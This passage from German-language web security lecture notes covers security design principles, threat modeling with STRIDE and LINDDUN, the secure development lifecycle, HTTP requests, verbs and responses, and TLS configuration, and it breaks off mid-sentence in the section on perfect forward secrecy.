1.4. DEFENSE IN DEPTH/HARDENING 7

1.4 Defense in Depth/Hardening


Das Zwiebelmodel der Sicherheit vergleicht die Gesamtsicherheit einer Appli-
kation mit einer Zwiebel. Im Inneren der Zwiebel befindet sich das schützenswerte
Gut (Daten, Operationen), rundherum gibt es einzelne Sicherheitsschichten,
analog zu den Schichten einer Zwiebel. Solange zumindest eine Schutzschicht
vorhanden ist, ist die Sicherheit des Gesamtsystems gewährleistet.
Essentiell ist, dass die einzelnen Schutzschichten voneinander unabhängig
sind. Würde die gleiche Schutzschicht mehrfach verwendet werden (z.B. zwei-
mal die gleiche Web-Application-Firewall mit dem identen Regelwerk der Ap-
plikation vorgeschalten werden), würde ein Fehler in einer Schutzschicht au-
tomatisch auch den Schutz der zweiten Schutzschicht neutralisieren.
Zusätzlich zum erhöhten Schutz des schützenswerten Gutes wird durch
die Zwiebelschichten auch Zeit im Fehlerfall erkauft. Da das System noch
nicht vollständig kompromittiert ist, besteht z.B. Zeit die Auswirkungen eines
potentiellen Updates zu testen.

1.5 Fail-Open vs. Fail-Closed


Fail-Open (auch Fail-Safe genannt) und Fail-Close (auch Fail-Secure genannt)
beschreiben das Verhalten eines Systems im Fehlerfall. Bei Fail-Open wird die
Operation durchgeführt, bei Fail-Close wird diese verhindert.
Die Definition des gewünschten Verhaltens kann nur durch den Kunden
geschehen. Beispiel: ein Smart-Türschloss welches über eine Mobilapplikati-
on gesteuert werden kann. Das Verhalten im Falle eines Batteriefehlers kann
unterschiedlich implementiert werden. In einigen Fällen (Notausgang) wäre
es sinnvoll, das Schloss zu öffnen; in einigen Fällen (Tresor) wäre es sinnvoll,
das Schloss zu blockieren. Diese Auswahl kann nur vom Kunden durchgeführt
werden.

1.6 No-Go: Security by Obscurity


Die Sicherheit eines Systems darf niemals von dessen Intransparenz abhängig
sein. Ein besserer Ansatz ist z.B. Shannons: The Enemy Knows the System.
Ein motivierter Angreifer besitzt zumeist Möglichkeiten die Intransparenz
zu lüften:

ˆ Kauf und Reverse-Engineering der Software

ˆ Diebstahl eines Systems


8 KAPITEL 1. SECURITY PRINCIPLES

ˆ Verlust der Obscurity durch Unfall (z.B. Selfies mit sichtbaren Schlüsseln
im Hintergrund)

Analog gibt es in der Kryptographie das Kerckhoffsche Prinzip: die Sicher-


heit eines Algorithmus darf nur von der Geheimhaltung des Schlüssels und
nicht durch die Geheimhaltung des Algorithmus abhängig sein. 2020 konnte
man die Problematik an Hand des Solarwind-Leaks sehen: hier konnten An-
greifer Zugriff auf Microsofts Quellcode erlangen. Aktuell (Stand Jänner 2021)
wurden hier allerdings keine Masterpasswörter oder Backdoors bekannt.

1.7 Keep it Simple Stupid (KISS)


Complexity is the enemy of security. Ein komplexes System mit vielen Kom-
ponenten bzw. Interaktionen zwischen Komponenten besitzt automatisch eine
größere Angriffsfläche und bieten daher Angreifern mehr Möglichkeiten.
Man sollte Simplicity nicht mit primitiven Lösungen verwechseln. Der
Grundgedanke stammt von Kelly Johnson der bei Skunk Works Chefingenioer
war, also Leiter jenes Ingenieursteams welches einige der hoch-technologischsten
Aufklärungsflugzeuge des Kalten Krieges entwurf (U2, SR-71).

1.8 Security-by-Design bzw. Security-by-Default


Analog zu dem in der DSGVO/GDPR verankerten privacy-by-design bzw.
privacy-by-default wird mittlerweile auch gerne von security-by-design und
security-by-default gesprochen. Ersteres bedeutet, dass eine Software so ge-
schrieben sein sollte, dass ein sicherer Betrieb prinzipiell möglich ist. Letzteres
bedeutet, dass, wenn ein sicherer Betrieb möglich ist, dieser auch per-default
so konfiguriert sein sollte. Dies soll Sicherheitsfehler aufgrund von “vergesse-
ner” bzw. unterlassender Konfiguration vermeiden, Sicherheitslücken müssen
explizit geöffnet werden.
Beides sind keine direkten Entwicklugsprinzipen aber quasi Vorgaben an
welche sich die Entwicklung halten muss und wurden aus diesem Grund hier
erwähnt.

1.9 Trennung von Daten- und Programm-Logik


Ein typischer Vorfall der zu einer Sicherheitslücke führt ist, wenn ein Pro-
gramm bei der Zuordnung zwischen Daten und Programmlogik verwirrt wird.
Eine SQL-Injection fällt in dieses Muster: eine Benutzereingabe (Daten) wird
1.10. REFLEKTIONSFRAGEN 9

durch inadäquate Programmierung als Programmlogik bzw. Programmcode


interpretiert und ausgeführt.
Historisch gab es gegenläufige Computerarchitekturen: die Harvard-Architektur
verwendete eine strikte Hardware-Trennung zwischen Daten- und Programm-
speicher. Die konkurrierende Von-Neumann-Architektur verwendete einen Spei-
cher sowohl für Daten als auch für Programmcode und setzte sich aufgrund
der höheren Effizienz durch. Mittlerweile gibt es mehrere Sicherheitsvorkeh-
rungen um eine konzeptionelle Trennung von Programmcode und Daten auch
in diesen Architekturen durchzuführen.

1.10 Reflektionsfragen
1. Erläutere das Minimalprinzip mit zumindest drei Beispielen für jenes.

2. Erläutere Least Privilege und Separation of Duties.

3. Erläutere Defense in Depth.

4. Erkläre den Unterschied zwischen Fail-Open und Fail-Closed.

5. Welche Probleme können durch die Vermischung von Applikationlogik


und Eingabedaten entstehen?
KAPITEL 2
Sicherheit als Prozess

Sicherheit kann nicht alleine stehen, man kann nicht “Sicherheit program-
mieren” sondern nur “eine Applikation sicher programmieren”. Sie ist keine
One-Shot Operation die einmalig vor Projektende durchgeführt wird, sondern
muss während der gesamten Laufzeit der Softwareentwicklung beachtet wer-
den. Ein typisches (fiktives) Beispiel: ein Softwareprojekt wurde als klassisches
Wasserfall-Model geplant. Nach drei Jahren Laufzeit sollte das Projekt abge-
schlossen sein, ca. sechs Monate vor Ende ist ein Penetration-Test der Software
vorgesehen — die sechs Monate sollten ausreichend sein um potentiell gefun-
dene Schwachstellen auch zu beheben. Es entwickelt sich leider eine typische
“Softwareprojekt”-Geschichte: die Fertigstellung verzögert sich, schlussendlich
kann der Penetration-Test erst eine Woche vor Go-Live durchgeführt werden.
Natürlich werden kritische Fehler gefunden — aufgrund der Verzögerungen
und der Mehrbelastung der Entwickler war zu wenig Zeit für Sicherheits- bzw.
Qualitätssicherheitsmaßnahmen vorhanden. Der Launch-Zeitpunkt kann auf-
grund zugekaufter Werbung nicht mehr verschoben werden, was nun? Wie
kann man diese Situation vermeiden?
Professionelle Softwareentwicklung verwendet meistens einen (semi-)standardisierten
Software Development Lifecycle (SDLC), es gibt verschiedene Ausprägungen
hier Security einzubringen. Zumeist werden in den jeweiligen Phasen sicher-
heitsrelevante Inhalte hinzugefügt:

ˆ Security Training des Personals

ˆ Requirements and Risk Analysis

11
12 KAPITEL 2. SICHERHEIT ALS PROZESS

ˆ Threat Modeling

ˆ Secure Coding Guidelines, Secure Coding Checklists

ˆ Security Testing Guides, Pen-Tests

ˆ Vulnerability Management and Incident Response

Einige dieser Punkte werden in den Folgekapiteln etwas genauer erläutert.

2.1 Requirementsanalyse
In der Requirementsanalyse sollte bereits Security berücksichtigt werden. Dies
wird meistens unterlassen, da Security-Anforderungen non-functional1 requi-
rements sind. Negative Auswirkungen dieses Versäumnis sind fehlende Awa-
reness für Security, nicht ausreichende Ressourcen (Zeit, Personal, Budget)
und schlussendlich fehlende Sicherheit im resultierenden Softwareprodukt.

2.1.1 Schützenswertes Gut


Eine zentrale Frage einer Sicherheitsdiskussion ist, was überhaupt beschützt
werden sollte. Diese Operationen oder Daten werden häufig Schützenswertes
Gut genannt. Beispiele für diese sind z.B. sensible Benutzerdaten, ein essenti-
eller Geschäftsprozess aber auch immaterielle Werte wie die Reputation eines
Unternehmens, dessen Aktienkurs oder intellectual property.
Häufig wird die sog. CIA-Triade zur Klassifizierung verwendet. Hierbei ste-
hen die einzelnen Buchstaben für einen schützenswerten Bereich: Confidentia-
lity, Integrity und Availability. Diese werden in Tabelle 2.1 genauer erläutert.
Die jeweiligen Bereiche sind verwandt, Availability kann stark von der Inte-
grität der Daten abhängig sein. Beispiel: wenn eine Fahrzeitauskunft zwar als
Webservice verfügbar ist, aber den Daten nicht vertraut werden kann, ist das
Gesamtservice aus Usersicht wahrscheinlich nicht available.
Bei realen Projekten ist die Einschätzung immer vom Kunden abhängig.
Ein IT-System ist immer in die Kundenlandschaft integriert und daher können
klassische IT-Fehler unterschiedliche Auswirkungen besitzen. Z. B. wird einem
reinen Online-Shop die Availability wichtiger sein, als einem physikalischen
Shop der nebenbei einen kleinen Onlineshop betreibt; teilweise werden Fehler
durch organisatorische Maßnahme (Buchhaltung) abgefangen, etc.
1
Functional Requirements beschreiben die Funktionsweise einer Applikation und sind
z.B. mittels use-cases abgebildet. Non-Functional Requirements beschreiben eher die Qua-
lität der erstellen Applikation wie Sicherheit und Performance.
2.2. THREAT MODELING 13

Buchstabe Name Beschreibung


C Confidentiality no unauthorized access to da-
ta
I Integrity no unauthorized or undetec-
ted2 modification
A Availability Verfügbarkeit der Daten

Tabelle 2.1: CIA-Triade

2.1.2 Sicheres Design


Bei der Erstellung der Software Architektur/des Software Designs sollte auf
Sicherheit geachtet werden. Um die Ziele der CIA-Triad zu erfüllen, empfehlt
OWASP folgende Elemente bei der Analyse eines sicheren Designs zu beach-
ten:

ˆ Authentication

ˆ Authorization

ˆ Data Confidentiality and Integrity

ˆ Availability

ˆ Auditing and Non-Repudiation

Die ersten vier Punkte stellen die Anforderungen aus der CIA Triade dar.
Audit Logs dienen u.a. dazu, um im Fehlerfall die Schwachstelle zu er-
kennen als auch den Schadfall einzugrenzen (z.B. welche User sind in wel-
chem Umfang betroffen?). Unter Non-Repudiation versteht man die Nicht-
Abstreitbarkeit: falls eine Operation von einem Benutzer durchgeführt wurde,
sollte nachträglich auch verifizierbar sein, dass diese Operation auch wirklich
von dem jeweiligen Benutzer in Auftrag gegeben wurde.

2.2 Threat Modeling


Threat Models dienen zur systematischen Analyse von Softwareprodukten
auf Risiken, Schwachstellen und Gegenmaßnahmen. Durch die Verwendung
eines formalisierten Ablaufs wird die gleich bleibende Qualität der Analyse
gewährleistet.
14 KAPITEL 2. SICHERHEIT ALS PROZESS

Bei der Analyse sollten vier Hauptfragen gestellt und beantwortet werden3 :

1. What are you building?

2. What could go wrong?

3. What should you do about those things that could go wrong?

4. Did you do a decent job of analysis?

Bevor auf diese einzelnen Bereiche kurz eingegangen wird sollte noch kurz
erwähnt werden, dass Threat Models im Laufe der Zeit sehr umfangreich und
daher schwer zu verstehen werden. Im Worst-Case wird es so “aufgebauscht”
dass es nicht mehr effektiv verwendbar ist und schlussendlich nur noch “to-
te” Dokumentation darstellt. Ein guter Mittelweg zwischen Detailiertheit und
Lesbarkeit ist essentiell für ein verwendbares Threat Model.

2.2.1 What are you building?


Folgende Bereiche sollten durch das Threat Model abgedeckt werden:

ˆ Threat Actors: wer sind die potentiellen Angreifer. Dies ist wichtig zu
wissen, da dadurch eine bessere Ressourceneinschätzung (wie viel Zeit
bzw. finanzielle Ressourcen kann ein Angreifer aufbringen?) möglich ist.
Ebenso wird dadurch geklärt, ob auch Insider-Angriffe möglich sind.

ˆ Schützenswertes Gut: vor welchen Angriffen hat ein Unternehmen Angst


bzw. welche Daten sind schützenswert. Die Dokumentation schützenswerter
Güter ergibt Synergie-Effekte zu der notwendigen DSGVO-Dokumentation.

ˆ Grundlegende Sicherheitsannahmen: im Laufe eines Softwareprojektes


werden Produktentscheidungen aufgrund des aktuellen Wissensstand ge-
troffen. Hier sollten diese Entscheidungen dokumentiert4 werden. Bei-
spielsweise könnte für embedded systems eine schwächere Verschlüsselungstechnik
gewählt worden sein, da die vorhandene Hardware nicht potent genug
für ein besseres Verfahren war. Durch die Dokumentation der Annahmen
können diese periodische auf ihre Haltbarkeit hin überprüft werden. Die
Dokumentation dieser Annahmen ist auch essentiell im Falle des Ausfalls
eines Entwicklungsteams.
3
Quelle: Adam Shostack — Threat Modeling
4
Bonuspunkte wenn nicht nur die Annahme, sondern zusätzlich auch die Auswirkungen
im Falle einer gebrochenen Annahme, wer für die Überprüfung der Annahme zuständig ist,
und wer fachlich die Annahme überprüfen kann, dokumentiert ist.
2.2. THREAT MODELING 15

Buchstabe Name
S Spoofing
T Tampering
R Repudiation
I Information Disclosure
D Denial of Service
E Elevation of Privilege

Tabelle 2.2: STRIDE Angriffsvektoren

ˆ Scope: welche Bereiche unterliegen der Sicherheitsobacht des Entwick-


lers? Ist die Datenbank, der Webserver, etc. Teil des Projekts oder wer-
den diese von externen Personen bereitgestellt?

ˆ Komponenten und Datenflüsse: die Applikation wird in einzelne Kom-


ponenten dekonstruiert. Der Datenfluss (samt Klassifizierung der betrof-
fenen Daten) zwischen den Komponenten wird meistens mittels Daten-
flussdiagrammen (data flow diagrams, DFDs) dargestellt.

2.2.2 What could go wrong?

Basierend auf den Datenflussdiagrammen werden potentielle Risiken und Schwach-


stellen identifiziert. Häufig wird hierfür STRIDE verwendet. Jeder Buchsta-
be dieser Abkürzung steht für eine Angriffsart, durch das Analysieren jedes
Elements (des Datenflussdiagrammes) sollten möglichst viele Gefährdungen
identifiziert werden. Die Tabelle 2.2 listet die jeweiligen Angriffsarten auf.
Im Privacy Umfeld existiert mit LINDDUN eine ähnliche Methode, die je-
weiligen Angriffe zielen hier nun nicht auf die Sicherheit, sondern auf die Pri-
vatsphäre der Benutzer ab. Die Tabelle 2.3 listet die jeweiligen Gefährdungen
für die Privatsphäre auf.
Teilweise sind diese Methoden widersprüchlich. So wird im Zuge von STRI-
DE auf die Repudiation hin geachtet, also auf die Nicht-Abstreitbarkeit der
Durchführung einer Operation, während LINDDUN dies als Non-Repudation
als negativ für die Privatsphäre des Benutzers betrachtet wird.
16 KAPITEL 2. SICHERHEIT ALS PROZESS

Buchstabe Name
L Linkability
I Identifiability
N Non-Repudiation
D Detectability
D Disclosure of Information
U Content Unawareness
N Policy and Consent Noncom-
pliance

Tabelle 2.3: LINDDUN Kategorien

2.2.3 What should you do about those things that could go


wrong?
Die identifizierten Gefährdungen können dann mittels DREAD quantifiziert
und sortiert. Diese Reihenfolge kann bei der Behebung der identifizierten
Gefährdungen durch das Entwicklungsteam berücksichtigt werden.
Prinzipiell gibt es mehrere Möglichkeiten mit einer Schwachstelle umzuge-
hen:

ˆ Elemination: die Schwachstelle wird entfernt — dies ist effektiv nur


durch Entfernen von Features möglich.

ˆ Mitigation: es werden Maßnahmen implementiert die das Ausnutzen der


Schwachstelle vermeiden bzw. erschweren sollen. Die meisten implemen-
tierten Sicherheitsmaßnahmen fallen in diesen Bereich.

ˆ Transfer: durch Versicherungen und Verträge kann das Risiko an Andere


übertragen werden.

ˆ Accept: ein Risiko kann auch (durch die Geschäftsführung) akzeptiert


werden. In diesem Fall ist die Dokumentation der Zuständigkeiten wich-
tig.

2.2.4 Did we do a decent job of analysis?


Die Ausarbeitung eines Threat Models macht Sinn wenn das Model mit der
realen Applikation übereinstimmt und durch die sorgfältige Analyse der Ele-
mente des Models Verwundbarkeiten identifiziert wurden. Die gefundenen
2.3. SECURE CODING 17

Gefährdungen sollten in das Bug-Tracking System der Software einfließen um


ein Tracking des Fortschritts zu ermöglichen.
Wird im Zuge des Softwareprojekts automatisiert getestet wird empfohlen,
mittels Unit Tests die implementierten Mitigations zu verifizieren. Dadurch
wird der Security Test Teil der Continues-Integration Pipeline und damit Teil
der Qualitätssicherung der Software.
Zusätzlich können Penetration Tests zur Überprüfung der Sicherheit durch-
geführt werden. Penetration Tests können Sicherheitsmängel aufdecken, sie
sind allerdings nicht zur gezielten Erhöhung der Softwarequalität dienlich, da
diese vor dem Testen bereits gewährleistet werden sollte (You can’t test qua-
lity in). Auch hier gibt es eine Interaktion mit dem Threat Model5 : während
ein Threat Model im Gegensatz zu Penetration-Tests weniger direkte Sicher-
heitslücken findet, richtet es den Fokus der Penetration-Tests auf die wichtigs-
ten bzw. gefährdetsten Komponenten der zu testenden Applikation.

2.3 Secure Coding


Während der Entwicklung sollte durch die Verwendung von Secure Code Gui-
delines und der Einhaltung von Best-Practises die Sicherheit der erstellten
Software gewährleistet werden. Diese Maßnahmen zielen darauf ab, das Rad
nicht neu zu erfinden. Durch Verwendung etablierter Methodiken und Frame-
works kann auf den Erfahrungsschatz dieser zugegriffen werden und potentielle
Fehler vermieden werden.
Bei der Wahl von Bibliotheken und Frameworks sollte man auf deren
Security-Historie Rücksicht nehmen. Regelmäßige Bugfix-Releases mit dezi-
dierten Security-Releases sind ein gutes Zeichen. Ebenso sind dies regelmäßige
Security-Audits. Falls keine Sicherheitsinformationen verfügbar sind oder die
Bibliothek/das Framework keinen langfristigen Support gewährleistet, ist dies
ein Grund ggf. dieses Framework nicht zu verwenden.
Das Sicherheitslevel kann durch Verwendung von Security-Checklists überprüft
werden. Ein Beispiel hierfür ist der OWASP Application Security Verfication
Standard (ASVS) welcher aus einem Fragenkatalog zur Selbstbeantwortung
durch Softwareentwickler besteht.

2.4 Secure Testing


Es sollte so früh wie möglich und regelmäßig wie möglich getestet werden. Zu-
mindest vor größeren Releases sollte ein Security-Check durchgeführt werden.
5
Threatmodel: siehe Kapitel 2.2, Seite 13
18 KAPITEL 2. SICHERHEIT ALS PROZESS

Hierbei gibt es eine Interaktion mit Threat Modeling: aufgrund des Threat-
models können besonders gefährdete Bereiche identifiziert, und diese Bereiche
gezielt getestet werden. Dadurch werden die Kosten des Testens reduziert.

2.5 Maintenance
Auch nach dem Abschluss der Entwicklungsphase eines Projektes gibt es
Security-Anforderungen. Es sollte dokumentiert werden, wie im Falle eines
Security-Vorfalls (Security Incident) vorgegangen wird. Dieser Prozess kann
u.a. die Notifizierung von Kunden, das Deaktivieren von Servern, Bereitstel-
lung eines Patch-Plans, etc. beinhalten.
Diese Vorkehrungen müssen nicht nur den eigenen Code, sondern auch
Schwachstellen in verwendeten Fremdbibliotheken und Frameworks beinhal-
ten. Angriffe gegen verwendete Bibliotheken/Frameworks (eine Form der supply-
chain attacks) nahmen in letzter Zeit zu.

2.6 Reflektionsfragen
1. Was versteht man unter einem Threat Model, welche Elemente sollten
vorhanden sein (1-2 Sä[Link] pro Element)

2. Welche Maßnahmen sollten im Zuge des Secure Development Lifecycles


betrachtet werden? Erläutere einige der Maßnahmen.
KAPITEL 3
Web Technologien

Der Titel dieses Dokumentes ist Web Security, dementsprechend sind unse-
re Ziele/Patienten auch Webapplikationen. Eine Definition fällt nicht einfach
— allgemein betrachtet ist eine Webapplikation eine auf der Client-Server-
Architektur basierte Applikation die als Kommunikationsprotokoll HTTP ver-
wendet.
Bei einer Client-Server Applikation versendet der Client einen Auftrag an
einen Server; letzterer führt diesen im Namen des Clients aus und sendet die
Antwort zurück. Im Zusammenhang mit Webapplikationen gehen wir von ei-
nem Webbrowser als Client aus. Die meisten vorgestellten Probleme betreffen
auch Web-API Clients, auf diese wird allerdings nicht explizit eingegangen.

3.1 HTTP
Das Hypertext Transfer Protocol (HTTP1 ) ist ein textbasiertes Protokoll wel-
ches primär zur Kommunikation zwischen Webservern und Web-Clients (wie
z.B. Webbrowsern) verwendet wird. HTTP 1.0 wurde 1996 als RFC 1945 als
expliziter Non-Standard veröffentlicht. 1999 wurde das Protokoll mit dem Up-
date auf HTTP 1.1 (RFC 2616) modernisiert, es wurde z.B. HTTP Pipelining
(die Übertragung mehrerer Dateien innerhalb einer HTTP Verbindung) in den
Standard aufgenommen.
2015 wurde HTTP/2 im RFC 7540/7541 definiert: Verbesserungen betref-
fen das Multiplexing von Anfragen, server-seitige Push-Nachrichten und die
1
Da das P in HTTP bereits für Protocol steht, macht die Bezeichnung ,,HTTP Protokoll”
wenig Sinn.

19
20 KAPITEL 3. WEB TECHNOLOGIEN

Kompression der übertragenen Daten. Per Stand 2020 kann davon ausgegan-
gen werden, dass Zwei-Drittel bis Drei-Viertel der Webkommunikation bereits
über HTTP/2 abgewickelt wird.
HTTP verwendet zumeist TCP auf Port 80, die verschlüsselte Varian-
te HTTPS verwendet Port 443. Häufig verwendete Ports für weitere HTTP-
basierte Services sind 3000, 8000, 8080 und 8081.
Das Protokoll basiert auf Nachrichten, die zwischen Client (Browser) und
Server übertragen werden. Dabei folgt auf den initialen Request des Clients
immer eine Response des Servers.
Aktuell wird HTTP/3 basierend auf QUIC entwickelt. Diese Protokoll-
version wird vieles verändern, so wird z.B. ein Umstieg von TCP auf UDP
diskutiert, auch die Verwendung von Port 443 bleibt eventuell nicht mehr
bestehen.

3.1.1 HTTP Request


Bei HTTP 1.0/1.1 werden Anfragen von Webbrowsern an Webserver als mehr-
zeilige Textdokumente verschickt. Die erste Zeile dieses Dokuments beinhaltet
als erstes Wort das zu verwendete HTTP Verb gefolgt von dem aufgerufenen
Pfad und der verwendeten HTTP-Version. Jede weitere Zeile beinhaltet einen
HTTP Header, diese sind immer als Key: Value strukturiert.
Bei folgendem Beispiel versucht ein Webbrowser auf die Datei /[Link]
eines Webservers lesend (Verb: GET) zuzugreifen:

GET /[Link] HTTP/1.1


Host: [Link]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101
,→ Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ c
,→ *;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP Request Verbs/Methoden


Ein Request beginnt immer mit einem HTTP Verb (auf Englisch auch HTTP
Request Method genannt), dieses beschreibt die Aktion die der Client gerne
hätte. Häufig verwendete Verben werden in Tabelle 3.1 gelistet. Ein verwen-
detes HTTP Verb kann sowohl safe als auch idempotent sein. Safe Verben
sollten niemals Resourcen verändern (also Daten am Server modifizieren).
3.1. HTTP 21

Verb safe idempotent Name


GET ja ja Beschreibt einen Lesezugriff bei dem es zu keiner
Veränderung des serverseitigen States kommen sollte.
HEAD ja ja Entspricht einem HTTP GET, allerdings wird kein
HTTP Body übertragen. Diese Operation wird häufig
verwendet um Meta-Daten zu erfragen.
POST Ist eine datenverändernde Operation und wird verwendet
um ein neues Objekt zum Server zu übertragen (also um
quasi ein neues Objekt anzulegen).
PUT ja Ist eine datenverändernde Operation welche ein Objekt
am Server ersetzt, also quasi aktualisiert.
DELETE ja Löscht ein Objekt/Datei vom Server.
PATCH Ist eine datenverändernde Operation welche einen Teil
eines bestehenden Objektes modifiziert.
CONNECT Wird verwendet um einen Tunnel aufzubauen.
OPTIONS ja ja Listet alle erlaubten Kommunikationsoptionen für eine
Resource auf.
TRACE Führt zu Debug-Zwecken einen loop-back Test aus.

Tabelle 3.1: Häufig verwendete HTTP Methoden bzw. Verben

Idempotente Verben sollten auch bei wiederholtem Aufruf auf eine Resour-
ce das idente Ergebnis liefern. Sie können also beliebig häufig aufgerufen, und
wiederholt werden. Wenn z.B. während eines DELETE Aufrufs ein Timeout
geschieht, kann der Client die Operation wiederholen ohne einen undefinier-
ten server-seitigen State zu erzeugen. Aus diesem Grund wird z.B. ein Update
eines bestehenden Datensatzes gerne über das PUT Verb implementiert: wird
ein Update mit den gleichen übergebenen Daten ausgeführt, kann es beliebig
häufig wiederholt werden und der server-seitige State sollte ident sein.
Die Verwendung des richtigen Verbs besitzt rein semantische Natur und
muss von der Web-Applikation umgesetzt werden. Nichts hindert einen Pro-
grammierer, eine Operation mit einem unpassenden HTTP Verb anzubieten.
Allerdings gehen mehrere Komponenten (wie z.B. Web Proxies, Caches oder
Web Application Firewalls) von der richtigen Verwendung der jeweiligen Ver-
ben aus, wird ein falsches Verb verwendet kann dadurch inkorrektes Verhalten
provoziert werden.
22 KAPITEL 3. WEB TECHNOLOGIEN

Verb Operation Beispiel Beschreibung


GET READ /notes/1 Fordert die Ressource vom Server
an. Diese Operation sollte safe und
idempotent sein.
POST CREATE /notes Erstellt eine neue Ressource am Ser-
ver, deren URI wird zurück gegeben.
PUT CREATE/UPDATE /notes/2 Erstellt oder ersetzt eine Ressource
an der angegeben URI.
PATCH UPDATE /notes/2 Die angegebene Ressource wird
verändert, Nebeneffekte sind er-
laubt.
DELETE DELETE /notes/2 Die angegebene Ressource wird
gelöscht.
HEAD READ /notes/2 Liefert Meta-Daten für die angege-
bene Ressource.

Tabelle 3.2: Verwendung von HTTP Verben bei RESTful-Architekturen

Representational State Transfer (REST)

Das REST-Paradigma wurde von Roy Fielding 2000 im Zuge seiner Disser-
tation veröffentlicht. Das Paradigma versucht es, zustandlose APIs über eine
einheitliche Schnittstelle anzubieten. Jede gespeicherte Ressource sollte eine
eindeutige URL besitzen, als Kommunikationssprache wird häufig HTTP ein-
gesetzt.
Tabelle 3.2 zeigt wie häufig benötige CRUD-Funktionalität2 auf HTTP
Verben umgelegt wird.

Request Host Header

Der übergebene Host-Header kann sicherheitsrelevant sein: dieser Header wird


nicht verwendet um auf der Netzwerkebene das Ziel zu identifizieren, sondern
wird erst vom Zielwebserver verwendet. Einige Webserver verwenden diesen
Header um Adressen innerhalb der Antwortseite zu generieren.

2
Create, Update, Read and Delete of Resources.
3.1. HTTP 23

3.1.2 HTTP Response


Der Server liefert nun ein Antwortdokument:

HTTP/1.1 302 Found


Date: Sun, 03 Mar 2019 22:03:21 GMT
Server: Apache/2.4.25 (Debian)
Location: [Link]
Content-Length: 277
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="[Link]
<hr>
<address>Apache/2.4.25 (Debian) Server at [Link] Port 80</address>
</body></html>

Hier fällt zuerst der Statuscode (302) auf. Prinzipiell beschreiben Codes
aus dem 100er Bereich Continue, Codes im 200er Bereich Erfolg (success), Co-
de im 300er Bereich sind Redirects, Codes im 400er Bereich sind clientseitige
Fehler und Codes im 500er Bereich beschreiben serverseitige Fehler.
Webserver können mehrere optionale HTTP Header inkludieren und auf
diese Weise dem Webbrowser Informationen mitteilen. Diese Möglichkeit wird
häufig im Zuge des Browser-Hardenings verwendet: hierbei teilt der Webserver
Securityannahmen dem Client mit. Dieser kann dadurch effizient gegen client-
seitige Angriffe innerhalb des erhaltenen Contents vorgehen.

Information Disclosure durch HTTP Header


Die optionalen Header können einen negativen Sicherheitsimpact besitzen,
häufig kommt es z.B. zu einer Information Disclosure. Bei dieser erhält der
Angreifer durch gesprächige Server Informationen, die ein normaler Benut-
zer eigentlich nicht benötigen sollte aber einem Angreifer behilflich sind. Im
gezeigten Antwortdokument teil der Server den verwendeten Webserver (Apa-
che), das verwendete Betriebssystem (Debian) und die Versionsnummer des
Webservers (2.4.25 ) über den Server Header mit. Dies erlaubt es einem An-
greifer, gezielt nach Schwachstellen für diese Softwarekomponente zu suchen.
Im Zuge des Hardenings werden solche Versionsinformationen zumeist mas-
kiert.
24 KAPITEL 3. WEB TECHNOLOGIEN

3.2 Transportlevel-Sicherheit
Eine Webapplikation sollte immer und ausschließlich über das gesicherte HTTPS-
Protokoll kommunizieren. Um die Sicherheit des Transports zu gewährleisten
sollte TLS3 eingesetzt werden, die Abkürzung TLS steht dementsprechend
auch für Transport Level Security.

3.2.1 TLS
Beim Einsatz von TLS sollte eine aktuelle Version (aktuell TLSv1.2) verwen-
det werden, innerhalb von TLS sollten sichere Algorithmen (AES-256-GCM
oder ChaCha20-Poly1305) bereitgestellt werden. Aktuell wird TLSv1.2 von
ca. 95-96% der Webserver angeboten. Jeder HTTP/2 kompatible Client muss
ebenso TLSv1.2 unterstützen.
Wenn möglich sollten ältere TLS-Versionen vermieden werden, da durch
diese schlechtere Kryptographie in Kauf genommen werden muss. So schreibt
der TLS-Standard vor Version 1.2 vor, dass der Cipher 3DES-CBC zwingend
in einer Standard-konformen Implementierung angeboten werden muss. Dieser
Cipher ist zwar noch sicher, wird aber teilweise schon als legacy klassifiziert
— sollte also bei neuen Implementierungen nicht mehr verwendet werden. Mit
TLSv1.2 wird nicht mehr 3DES-CBC sondern AES-128-CBC als notwendiger
Cipher vorgeschrieben. Mit TLSv1.3 wurde der CBC-Modus entfernt: dies
ist aus Sicherheitssicht stark begrüßenswert, allerdings ist diese Version des
Standards noch nicht veröffentlicht.

3.2.2 Welche Kanäle müssen beachtet werden?


Die Entwickler und Administratoren müssen darauf achten, dass alle Kommu-
nikationswege auf die gleiche Art und Weise geschützt werden. Es muss ver-
mieden werden, dass z.B. ein Webserver mit einer sicheren TLS-Konfiguration
konfiguriert wurde, aber die identen Operationen mittels eines Webservices
ungesichert über HTTP bereitgestellt werden.
Ein häufiger Diskussionspunkt ist, welche Verbindungen durch TLS abgesi-
chert und verschlüsselt werden müssen. Prinzipiell sollte jegliche Übertragung
über öffentliche Kanäle gesichert erfolgen. Der Einsatz von Verschlüsselung in-
nerhalb des Rechenzentrums, z.B. zwischen Applikationsserver und Datenban-
ken, wird allerdings teilweise diskutiert. Die Verwendung der Verschlüsselung
bewirkt geringere Performance, höhere Kosten und verhindert teilweise die
Verwendung anderer Sicherheitstechniken (z.B. von Network-based IDSen) —
3
ältere und unsichere Versionen hießen SSL.
3.2. TRANSPORTLEVEL-SICHERHEIT 25

daher wird teilweise ein Rechenzentrum als a-priori sicher angenommen und
innerhalb dessen keine Verschlüsselung erzwungen. Die jeweilige Entscheidung
muss dokumentiert und durch das Management unterzeichnet werden.

3.2.3 Perfect Forward Secrecy


Perfect Forward Secrecy (PFS) ist eine optionale Eigenschaft von Key-Exchange
Protokollen und kann z.B. bei TLS zum Einsatz kommen. TLS verwendet
einen Langzeitschlüssel — während des Verbindungsaufbau wird basierend
auf diesem ein Sitzungsschlüssel ausgemacht. Zeichnet ein Angreifer die ver-
schlüsselte Kommunikation auf und erhält auf irgendeine Weise den Langzeit-
schlüssel, kann er die Verschlüsselung aufbrechen. Dies ist problematisch, da
der Langzeitschlüssel auch Jahre nach der eigentlich erfolgten Kommunikation
verloren gehen könnte.
Bei Verwendung von PFS kann mit dem Langzeitschlüssel der Sitzungs-
schlüssel nicht mehr rekonstruiert werden. Dadurch wird die Gefahr einer
